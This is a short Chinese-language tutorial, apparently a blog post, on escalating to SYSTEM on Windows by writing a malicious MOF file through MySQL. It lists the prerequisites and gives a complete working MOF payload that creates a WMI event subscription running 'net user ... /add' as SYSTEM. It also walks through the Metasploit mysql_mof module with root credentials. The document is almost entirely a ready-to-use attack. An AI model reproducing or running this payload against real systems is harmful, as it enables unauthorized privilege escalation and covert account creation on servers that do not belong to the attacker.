前言
MOF提权的利用原理是利用c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每隔一段时间(默认5s)都会用系统权限执行一次的特性,来写入cmd命令使其被带入以系统权限执行
MOF提权的使用条件是:
1、secure_file_priv参数不为null
2、有修改nullevt.mof 文件的权限
3、数据库用户具有root权限
MOF提权的步骤是
有恶意语句的mof文件写入到mof目录下-->系统每隔一段时间自动执行
实操
1、手工版
MOF文件的基本内容如下:
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
红色加粗部分的内容就是可以执行系统命令的地方,我们可以通过不断修改红色部分,上传到mof目录下,达到系统命令执行的目的。
2、MSF工具利用
利用步骤;
1、查找mof利用模块 search mof
2、利用模块 use exploit/windows/mysql/mysql_mof
3、查看参数 show options
4、设置参数 set rhosts 192.168.137.xxx
set username root
set password root
5、利用漏洞 run
(1)查找mof利用模块
通过查找关键词MOF寻找可以利用的漏洞模块。
(2)利用模块
use加之前查找结果的序列号或者模块全称,进入漏洞利用阶段。
(3)查看参数
通过show options语句查看漏洞模块需要我们完善的参数值。
(4)设置参数
通过set命令,将我们需要完善的参数值补充完整。
(5)利用漏洞
通过run或者exploit命令进行漏洞利用。